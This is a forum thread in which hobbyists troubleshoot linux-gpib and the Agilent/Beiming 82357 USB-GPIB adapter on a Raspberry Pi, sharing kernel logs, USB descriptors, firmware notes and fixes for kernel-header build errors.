content: Is there anything indmesgoutput regarding GPIB or the agilent_82357a driver? Like the USB device getting plugged in, the agilent_82357a detecting them, etc. There are some examples of what logs might look like in the first post ofthis thread:Code:Nov 11 20:28:22 raspberrypi-3 kernel: [ 560.873199] usb 1-1.3: new high-speed USB device number 7 using dwc_otgNov 11 20:28:23 raspberrypi-3 kernel: [ 561.205274] usb 1-1.3: New USB device found, idVendor=0957, idProduct=0718Nov 11 20:28:23 raspberrypi-3 kernel: [ 561.205304] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=5Nov 11 20:28:23 raspberrypi-3 kernel: [ 561.205321] usb 1-1.3: Product: S82357 ()Nov 11 20:28:23 raspberrypi-3 kernel: [ 561.205337] usb 1-1.3: Manufacturer: BEIMING Technologies, Inc.Nov 11 20:28:23 raspberrypi-3 kernel: [ 561.205352] usb 1-1.3: SerialNumber: CP1001xxxxNov 11 20:28:23 raspberrypi-3 kernel: [ 561.215169] probe succeeded for path: usb-bcm2708_usb-1.3Nov 11 20:29:37 raspberrypi-3 kernel: [ 635.696267] gpib0: exiting autospoll threadNov 11 20:29:37 raspberrypi-3 kernel: [ 635.696388] agilent_82357a_detach: detachedNov 11 20:29:37 raspberrypi-3 kernel: [ 635.696526] attached to bus interface 0, address 0xda1b7000Nov 11 20:29:37 raspberrypi-3 kernel: [ 635.715456] agilent_82357a_attach: attached

author: electronomicon
author_rank: Contributor
timestamp: November 23, 2023, 11:29:50 am
content: Yes, this shows up when I plug in the USB:Code:[67387.885647] usb 1-1: new high-speed USB device number 7 using dwc_otg[67387.885885] Indeed it is in host mode hprt0 = 00001101[67388.126204] usb 1-1: config 1 interface 0 altsetting 0 bulk endpoint 0x82 has invalid maxpacket 511[67388.127062] usb 1-1: New USB device found, idVendor=0957, idProduct=0718, bcdDevice= 0.00[67388.127106] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=5[67388.127124] usb 1-1: Product: S82357 ()[67388.127137] usb 1-1: Manufacturer: BEIMING Technologies, Inc.[67388.127151] usb 1-1: SerialNumber: CP1001xxxx[67388.146127] probe succeeded for path: usb-20980000.usb-1[67388.495567] usb 1-1: bus 1 dev num 7 attached to gpib minor 0, agilent usb interface 0[67389.505770] agilent_82357a_write_registers: agilent_82357a_receive_bulk_msg returned -110, bytes_read=0[67389.505810] agilent_82357a_dump_raw_block:[67389.505825] agilent_82357a_init: agilent_82357a_write_registers() returned error[67390.545741] agilent_82357a_write_registers: agilent_82357a_receive_bulk_msg returned -110, bytes_read=0[67390.545785] agilent_82357a_dump_raw_block:[67390.545800] agilent_82357a_go_idle: agilent_82357a_write_registers() returned error[67390.545822] agilent_82357a_detach: detached[67390.545833] gpib: interface attach failedJust noticed there are errors in the log … they were black on black on my terminal, so I haven’t noticed them before.

author: alm
author_rank: Super Contributor
timestamp: November 23, 2023, 12:34:03 pm
content: So clearly the agilent_82357a driver is not very happy. I haved used the Beiming adapter myself, but I'd start by checking the firmware version. Maybelsub -vvwill show something useful? Instructions I've read were to contact Beiming for a new firmware version. I'm not sure if this person is still supporting them since they stopped selling then a while ago. Seethis old post.

author: electronomicon
author_rank: Contributor
timestamp: November 23, 2023, 12:51:38 pm
content: I tried lsusb -vv, but don’t see anything looking like a fw version number. Here’s the result:Code:Bus 001 Device 007: ID 0957:0718 Agilent Technologies, Inc. S82357 ()Device Descriptor:bLength 18bDescriptorType 1bcdUSB 2.00bDeviceClass 0bDeviceSubClass 0bDeviceProtocol 0bMaxPacketSize0 64idVendor 0x0957 Agilent Technologies, Inc.idProduct 0x0718bcdDevice 0.00iManufacturer 1 BEIMING Technologies, Inc.iProduct 2 S82357 ()iSerial 5 CP1001xxxxbNumConfigurations 1Configuration Descriptor:bLength 9bDescriptorType 2wTotalLength 0x0027bNumInterfaces 1bConfigurationValue 1iConfiguration 3 (error)bmAttributes 0x80(Bus Powered)MaxPower 500mAInterface Descriptor:bLength 9bDescriptorType 4bInterfaceNumber 0bAlternateSetting 0bNumEndpoints 3bInterfaceClass 0bInterfaceSubClass 0bInterfaceProtocol 0iInterface 0Endpoint Descriptor:bLength 7bDescriptorType 5bEndpointAddress 0x82 EP 2 INbmAttributes 2Transfer Type BulkSynch Type NoneUsage Type DatawMaxPacketSize 0x01ff 1x 511 bytesbInterval 0Endpoint Descriptor:bLength 7bDescriptorType 5bEndpointAddress 0x06 EP 6 OUTbmAttributes 2Transfer Type BulkSynch Type NoneUsage Type DatawMaxPacketSize 0x0200 1x 512 bytesbInterval 0Endpoint Descriptor:bLength 7bDescriptorType 5bEndpointAddress 0x88 EP 8 INbmAttributes 3Transfer Type InterruptSynch Type NoneUsage Type DatawMaxPacketSize 0x0008 1x 8 bytesbInterval 1Also found an e-mail address on google groups that should be contacted to get updated firmware (that post was even older than the one you linked, though). I wrote to that already, but no response so far. I’ll try it through the forum, too, maybe that will work.

author: guenthert
author_rank: Frequent Contributor
timestamp: November 23, 2023, 04:38:49 pm
content: Quote from: electronomicon on November 23, 2023, 08:03:47 amNot that I know of. It's my understanding that the Beiming/Agilent 82357 holds only a minimal boot ROM and the actual firmware is uploaded when connecting to the USB bus. So it's actually the host OS which provides the firmware via the fxload executable in user space (/usr/sbin/fxload). In the log files (/var/log/syslog) there should be a note regarding which file is being uploaded (`grep fxload /var/log/syslog`).Quote from: electronomicon on November 23, 2023, 08:03:47 amThat's good news actually. I'd think you're mostly there then. You might want to verify the udev rules, perhaps the firmware was not uploaded on connect as it ought to be (again, there should be hints in the syslog file).Quote from: electronomicon on November 23, 2023, 08:03:47 amSure nothing has changed? The GPIB cable is tightly connected? The majority of the devices on the bus are on? The Raspberry Pi gets enough power (don't laugh: poor (USB) power cable is a major issue with Raspberry Pi, recent Linux kernels at least log (you find it in /var/log/syslog) when the CPU determines that there is barely enough juice, which might not be enough of USB devices to work correctly.Quote from: electronomicon on November 23, 2023, 08:03:47 amLooks good, that's not the problem. If you could share the syslog, then we might get further.

author: guenthert
author_rank: Frequent Contributor
timestamp: November 23, 2023, 04:41:32 pm
content: Quote from: electronomicon on November 23, 2023, 12:51:38 pmThe 82537 changes it's device id when the firmware is uploaded. 0x718 is the one when it is, so that's good.Oh, btw, is the adapter LED lit green or red?

author: alm
author_rank: Super Contributor
timestamp: November 23, 2023, 05:12:12 pm
content: Quote from: guenthert on November 23, 2023, 04:38:49 pmAre you sure about that for the Beiming? The informationheresuggests differently.Quote from: guenthert on November 23, 2023, 04:38:49 pmSeethis post.

author: electronomicon
author_rank: Contributor
timestamp: November 23, 2023, 05:53:25 pm
content: Quote from: guenthert on November 23, 2023, 04:38:49 pmAs alm pointed out, this seems to be only the case for the Agilent adapter.Quote from: guenthert on November 23, 2023, 04:38:49 pmI tried all sorts of different combinations, even every device on its own, directly connected to the adapter. Always the same issue. Current setup is the same as tested successfully on Windows (all three devices connected with two cables and all tuned on).A higher power adapter (2.4 A max. at 5 V) also didn’t help. I currently cannot test a different USB power cable and micro USB to USB adapter (which the GPIB-Interface is connected to) as I don’t have spares for them.There’s also no CPU related logs in /var/log/syslog, but there are GPIB related ones (when running ibtest):Code:Nov 23 18:47:32 raspberrypi kernel: [ 221.387706] gpib: ioctl 3 invalid for offline boardNov 23 18:47:32 raspberrypi kernel: [ 221.387907] gpib: ioctl 5 invalid for offline boardNov 23 18:47:32 raspberrypi kernel: [ 221.387985] gpib: ioctl 5 invalid for offline boardNov 23 18:49:49 raspberrypi kernel: [ 358.658488] gpib: ioctl 3 invalid for offline boardNov 23 18:49:49 raspberrypi kernel: [ 358.658666] gpib: ioctl 5 invalid for offline boardNov 23 18:49:49 raspberrypi kernel: [ 358.658744] gpib: ioctl 5 invalid for offline boardQuote from: guenthert on November 23, 2023, 04:41:32 pmThe S82357 doesn’t. It already has the 0x718 when plugged in and stayed that way when I still tried to upload the firmware.it also doesn’t have indicator LEDs (probably because of that).

author: guenthert
author_rank: Frequent Contributor
timestamp: November 23, 2023, 09:02:04 pm
content: Quote from: alm on November 23, 2023, 05:12:12 pmOh, right, the Beiming is more different from the Agilent than I expected, given that Agilent sold also models made by Beiming (and bears the same USB product id).Quote from: alm on November 23, 2023, 05:12:12 pmNo, I was hoping for the syslog, but was chiefly looking for the fxload entries (which I now understand won't be there) and potential power problems, which we were now assured didn't occur.

author: alm
author_rank: Super Contributor
timestamp: November 23, 2023, 10:01:08 pm
content: Quote from: guenthert on November 23, 2023, 09:02:04 pmBased on what someone claiming to be the designer of the Beiming adapter writeshere, Beiming never made adapters for Agilent/Keysight.

author: electronomicon
author_rank: Contributor
timestamp: November 23, 2023, 11:55:49 pm
content: Quote from: guenthert on November 23, 2023, 09:02:04 pmCorrect, no fxload entries in the syslog.But I found some udev related stuff I hadn’t seen before, maybe this is of any help?Code:raspi-config: Error opening '/dev/input/event*': No such file or directory[…]systemd-udevd: regulatory.0: Process '/lib/crda/crda' failed with exit code 249.systemd-udevd: event0: Process '/usr/sbin/th-cmd --socket /var/run/thd.socket -- passfd --udev' failed with exit code 1.systemd-udevd: regulatory.0: Process '/lib/crda/crda' failed with exit code 249.[…]/usr/local/lib/udev/gpib_udev_config:entered for Product: 957/718/0 Devpath: /devices/platform/soc/20980000.usb/usb1/1-1/1-1:1.0 Serial: CP1001xxxx/usr/local/lib/udev/gpib_udev_config: gpib_config options: --board-type agilent_82357a[…]systemd-udevd: 1-1:1.0: Process '/usr/local/lib/udev/gpib_udev_config' failed with exit code 255.

author: guenthert
author_rank: Frequent Contributor
timestamp: November 24, 2023, 09:11:37 am
content: Quote from: alm on November 23, 2023, 10:01:08 pmThanks, that was an interesting read. So he was forbidden to mention Agilent in the eBay listing, but got away using their USB vendor id. Looks like a mess, oh well. And since that fellow stopped selling those devices eight years ago for it being too much of a hassle for little gain, there is only a slim hope getting him to help with the Linux side.

author: electronomicon
author_rank: Contributor
timestamp: December 09, 2023, 10:30:09 pm
content: Small update from me: I never heard back from the Beiming guy. I ended up getting a used Agilent 82357B and it’s working now. Everything was perfectly set up already from my previous attempts, basically I just had to plug it in. Going to pass on the Beiming adapter, as it’s still perfectly usable under Windows.

author: MiDi
author_rank: Frequent Contributor
timestamp: October 15, 2024, 12:00:25 am
content: Updated the guide and e.g. addressed problems with 32/64bit mentioned by JoeMeta.See JoeMetas postDetailed change history is inlcluded on the guide post.Any ideas for a better solution of the problem of incomplete Headers for the 32bit image runnning 64bit Kernel than switching the Kernel to 32bit?Trying to install the Kernel header for 64bit on 32bit image gives error (sudo apt install linux-headers-rpi-v8).Could a cross compiler help?This should not be an issue with the 64bit image, but have not tried, can anyone confirm?

author: MiDi
author_rank: Frequent Contributor
timestamp: October 15, 2024, 10:06:05 pm
content: Updated the guide againTested now on 64bit w/o any problems, so recommendation is to use 64bit image - any known downsides/problems?For details see change history.

author: picburner
author_rank: Frequent Contributor
timestamp: April 01, 2025, 11:15:49 am
content: Today I made the mistake of updating the Kernel (6.12.20) on my Raspberry Pi 5 and now I can't compile Linux-Gpib anymore.The "Kernel" section gives an Error 1 and three Error 2 as per the attached log.... The "User" section, on the other hand, does not give errors.So far it had gone well, with each update I re-compiled the module, I have no idea what they changed this time.

author: JoeMeta
author_rank: Newbie
timestamp: April 01, 2025, 04:44:27 pm
content: I've run into something similar before. Unfortunately, this is because your kernel has been updated to a version for which header files have not yet been made available.Somebody who understands the Linux development cycle better than me might be able to explain why this happens.tl;dr: the fix is to either wait until a later update downloads the header files you need for your kernel version or to revert to an older version and rebuild your environment.My issue is that after getting the 82357A to work by writing the linux driver to its memory every time I needed to use it, after about 6 months of logging it failed (this has happened twice). My current theory is that the memory where this driver is written to wears out. It also seems to forget how to work with linux between sessions if I don't do this driver writing business though.I did all this work 2 years ago, so my memory of the details is a bit faded, but thankfully I wrote all the details down of how I got it to work.

author: MiDi
author_rank: Frequent Contributor
timestamp: April 01, 2025, 05:47:12 pm
content: If the correct kernel headers are not available right now, using the full linux kernel source used for the installed build should work.

author: picburner
author_rank: Frequent Contributor
timestamp: April 01, 2025, 07:25:45 pm
content: According to the attached screenshot I should have the correct Kernel Headers.Mine is a Raspberry Pi 5, so it would be 6.12.20+rpt-rpi-2712

author: MiDi
author_rank: Frequent Contributor
timestamp: April 01, 2025, 07:43:44 pm
content: Quote from: MiDi on October 15, 2024, 12:00:25 amEdit:Had problems with mixed 32/64bit (32bit image default), switching to 64bit image solved it.For pure 32bit (only for 32bit image):/boot/config.txt add/change the line arm_64bit=0 forces it to use the 32-bit kernel

author: picburner
author_rank: Frequent Contributor
timestamp: April 02, 2025, 06:04:02 am
content: Hmmm... I get it: Either try a Kernel downgrade or use the backup that I fortunately made a couple of months ago.And then I block automatic updates

author: picburner
author_rank: Frequent Contributor
timestamp: April 02, 2025, 12:06:05 pm
content: Don't ask me why or how, but I managed to fix the problem without much upheaval.In the "gpib_bitbang.c" file I replaced "GPIOF_DIR_IN" with "GPIOD_IN", and there were no more errors and now I have the gpib working again.I will have to check carefully if all the commands work, I have no idea why I had to make this change now with the new kernel.

author: picburner
author_rank: Frequent Contributor
timestamp: May 19, 2025, 05:21:01 pm
content: On May 7th, linux-gpib version 4.3.7-rc1 was released, which fixes the above problem I also had.

author: bingo600
author_rank: Super Contributor
timestamp: June 11, 2025, 01:58:24 pm
content: Did anyone notice thishttps://www.phoronix.com/news/Linux-6.16-Staginghttps://lore.kernel.org/lkml/aEKo5zLupPYdXd6-@kroah.com/QuoteSo maybe in kernel 6.17 .../Bingo